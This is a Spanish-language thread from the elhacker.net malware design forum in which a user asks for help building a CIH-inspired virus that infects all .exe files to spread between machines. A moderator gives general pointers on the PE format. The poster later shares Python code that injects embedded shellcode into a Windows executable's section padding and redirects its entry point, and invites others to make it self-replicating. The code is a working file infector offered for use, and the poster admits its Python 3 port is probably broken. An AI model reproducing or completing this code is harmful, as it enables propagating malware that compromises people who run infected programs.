elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Tutorial básico de Quickjs


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Análisis y Diseño de Malware (Moderador: fary)
| | |-+  infecciona de archivos PE con python 3
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: infecciona de archivos PE con python 3  (Leído 6,692 veces)
el etrno

Desconectado Desconectado

Mensajes: 14


Ver Perfil
infecciona de archivos PE con python 3
« en: 6 Septiembre 2020, 06:56 am »

estoy trabajando en un proyecto y tome inspiración del virus cih concreta mente su método de propagación el propósito es que le virus modifique todos los archivos .exe para que si se ejecuta en otra maquina esta queda infectada causando una propagación efectiva se que la librería PEFile da herramientas para modificar ejecutable pero no se haya información de lo que quiero hacer por eso pregunto si alguien sabe como hacerlos los parámetros son: permitir infectar los archivos .exe para que el virus se propague, no requerir de instalar programas externos tiene que poder funciona en una maquina infectada para continuar la propagación, estar escrito en python 3. agradezco cualquier ayuda
En línea

MCKSys Argentina
Moderador Global
***
Desconectado Desconectado

Mensajes: 5.524


Diviértete crackeando, que para eso estamos!


Ver Perfil
Re: infecciona de archivos PE con python 3
« Respuesta #1 en: 6 Septiembre 2020, 10:18 am »

... no requerir de instalar programas externos ...

... estar escrito en python 3 ...

Te estás contradiciendo. Python (2 o 3) no viene instalado en Windows por defecto.

De todas formas, lo que tienes que saber es qué hacer para infectar el binario y luego hacer que el virus haga lo mismo usando la lib que quieras. Por supuesto, anexar/reemplazar codigo a un EXE requiere de cierto trabajo.

La libreria para manejo de PE de Python es bastante sencilla de usar, si conoces como funciona el formato PE.

Saludos!
En línea

MCKSys Argentina

"Si piensas que algo está bien sólo porque todo el mundo lo cree, no estás pensando."

el etrno

Desconectado Desconectado

Mensajes: 14


Ver Perfil
Re: infecciona de archivos PE con python 3
« Respuesta #2 en: 7 Septiembre 2020, 00:33 am »

No me contradigo solo no me explique bien el código debe ser de python 3 (mas por comodidad que otra cosa) pero lo voy a compila para crear un ejecutable .exe (un ejecutable portable o PE) con lo de no usar programas externos me refiero a no requerir que la victima instale nada (aparte del propio virus claro) toda la información que e encontrado es de como usar un programa X para infectar un ejecutable con mi virus no de como hace que mi virus sea el que infecta los archivos. Estoy haciendo experimentos por mi parte pero no estoy acostumbrado a los archivos ejecutables de windows (suelos usar linux para casi todo por lo que solo es falta de costumbre)
En línea

hazzard_AV

Desconectado Desconectado

Mensajes: 2


Ver Perfil
Re: infecciona de archivos PE con python 3
« Respuesta #3 en: 7 Septiembre 2020, 02:57 am »

Para empezar talvez seria mas sencillo que programes un binder dentro del propio virus? La verdad desconozco del metodo que estas hablando pero un binder suena como una solucion posible.
Por otro lado me interesa el tema asique espero con ansias que publiques alguna actualizacion.
saludos
En línea

el etrno

Desconectado Desconectado

Mensajes: 14


Ver Perfil
Re: infecciona de archivos PE con python 3
« Respuesta #4 en: 18 Noviembre 2020, 04:32 am »

actualización cree un programa que hace lo que dije
Código:
from pefile import PE
from struct import pack

sample_shell_code = ("\xd9\xeb\x9b\xd9\x74\x24\xf4\x31\xd2\xb2\x77\x31\xc9\x64" +
"\x8b\x71\x30\x8b\x76\x0c\x8b\x76\x1c\x8b\x46\x08\x8b\x7e" +
"\x20\x8b\x36\x38\x4f\x18\x75\xf3\x59\x01\xd1\xff\xe1\x60" +
"\x8b\x6c\x24\x24\x8b\x45\x3c\x8b\x54\x28\x78\x01\xea\x8b" +
"\x4a\x18\x8b\x5a\x20\x01\xeb\xe3\x34\x49\x8b\x34\x8b\x01" +
"\xee\x31\xff\x31\xc0\xfc\xac\x84\xc0\x74\x07\xc1\xcf\x0d" +
"\x01\xc7\xeb\xf4\x3b\x7c\x24\x28\x75\xe1\x8b\x5a\x24\x01" +
"\xeb\x66\x8b\x0c\x4b\x8b\x5a\x1c\x01\xeb\x8b\x04\x8b\x01" +
"\xe8\x89\x44\x24\x1c\x61\xc3\xb2\x08\x29\xd4\x89\xe5\x89" +
"\xc2\x68\x8e\x4e\x0e\xec\x52\xe8\x9f\xff\xff\xff\x89\x45" +
"\x04\xbb\x7e\xd8\xe2\x73\x87\x1c\x24\x52\xe8\x8e\xff\xff" +
"\xff\x89\x45\x08\x68\x6c\x6c\x20\x41\x68\x33\x32\x2e\x64" +
"\x68\x75\x73\x65\x72\x88\x5c\x24\x0a\x89\xe6\x56\xff\x55" +
"\x04\x89\xc2\x50\xbb\xa8\xa2\x4d\xbc\x87\x1c\x24\x52\xe8" +
"\x61\xff\xff\xff\x68\x21\x58\x20\x20\x68\x57\x30\x30\x74" +
"\x31\xdb\x88\x5c\x24\x05\x89\xe3\x68\x65\x21\x58\x20\x68" +
"\x20\x48\x65\x72\x68\x20\x57\x61\x73\x68\x73\x69\x73\x68" +
"\x68\x44\x65\x62\x61\x31\xc9\x88\x4c\x24\x12\x89\xe1\x31" +
"\xd2\x52\x53\x51\x52\xff\xd0")
if __name__ == '__main__':
exe_file = input('[*] Ingrese la ruta completa del ejecutable principal:')
final_pe_file = input('[*] Ingrese la ruta completa del ejecutable de salida:')
pe = PE(exe_file)
OEP = pe.OPTIONAL_HEADER.AddressOfEntryPoint
pe_sections = pe.get_section_by_rva(pe.OPTIONAL_HEADER.AddressOfEntryPoint)
align = pe.OPTIONAL_HEADER.SectionAlignment
what_left = (pe_sections.VirtualAddress + pe_sections.Misc_VirtualSize) - pe.OPTIONAL_HEADER.AddressOfEntryPoint
end_rva = pe.OPTIONAL_HEADER.AddressOfEntryPoint + what_left
padd = align - (end_rva % align)
e_offset = pe.get_offset_from_rva(end_rva+padd) - 1
scode_size = len(sample_shell_code)+7
if padd < scode_size:
    # No hay suficiente espacio disponible para shellcode
exit()
# El código se puede inyectar
scode_end_off = e_offset
scode_start_off = scode_end_off - scode_size
pe.OPTIONAL_HEADER.AddressOfEntryPoint = pe.get_rva_from_offset(scode_start_off)
raw_pe_data = pe.write()
jmp_to = OEP - pe.get_rva_from_offset(scode_end_off)
sample_shell_code = '\x60%s\x61\xe9%s' % (sample_shell_code, pack('I', jmp_to & 0xffffffff))
final_data = list(raw_pe_data)
final_data[scode_start_off:scode_start_off+len(sample_shell_code)] = sample_shell_code
final_data = ''.join(final_data)
raw_pe_data = final_data
pe.close()
new_file = open(final_pe_file, 'wb')
new_file.write(raw_pe_data)
new_file.close()
print ('[*] Trabajo terminado! :)')

lo escribí en Python 2 y lo estoy pasando a Python 3 probablemente tenga problemas es casi seguro que ahora mismo tenga código que solo funciona en Python 2 si notan alguna me avisan además no estoy seguro de si sirve en ejecutables de 64 bits en resumen este programa hace: 1 busca si el ejecutable tiene el espacio para el shellcode 2 si el espacio es insuficiente responde espacio insuficiente si el espacio es suficiente 3 modifica el ejecutable para que al usarlo se ejecute el shellcode.
en resumen solo convierte tu virus a un .exe y ya tienes tu shellcode la razón por la que no lo e hecho auto replicante aun es que no quiero problemas con mis archivos pero estoy seguro de que averiguaran como hacerlo solo se necesita un poco de ingenio  ;-) ahora no e dormido en casi una semana y estoy asta los huevos de esta mier*a  >:D, pero aun no termino voy a crear uno que use fuerza bruta y a reparar el código espero que me ayuden a pasar esta cosa a Python 3
En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
almacenar archivos en python
Scripting
Division-x 2 3,061 Último mensaje 19 Septiembre 2006, 19:26 pm
por Division-x
[Python]Subir archivos via FTP
Python
Arnau27 1 3,806 Último mensaje 20 Septiembre 2013, 09:57 am
por fallout20xx
Problema con Python archivos
Scripting
AdeLax 2 2,902 Último mensaje 26 Octubre 2013, 21:37 pm
por 0x5d
[AYUDA][PYTHON] Leer y guardar archivos .exe de forma hexadecimal en python???
Scripting
Noxware 3 5,816 Último mensaje 22 Agosto 2014, 09:33 am
por Eleкtro
Python-Problemilla con archivos
Scripting
Biodude9456 1 1,979 Último mensaje 22 Marzo 2016, 00:47 am
por tincopasan
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines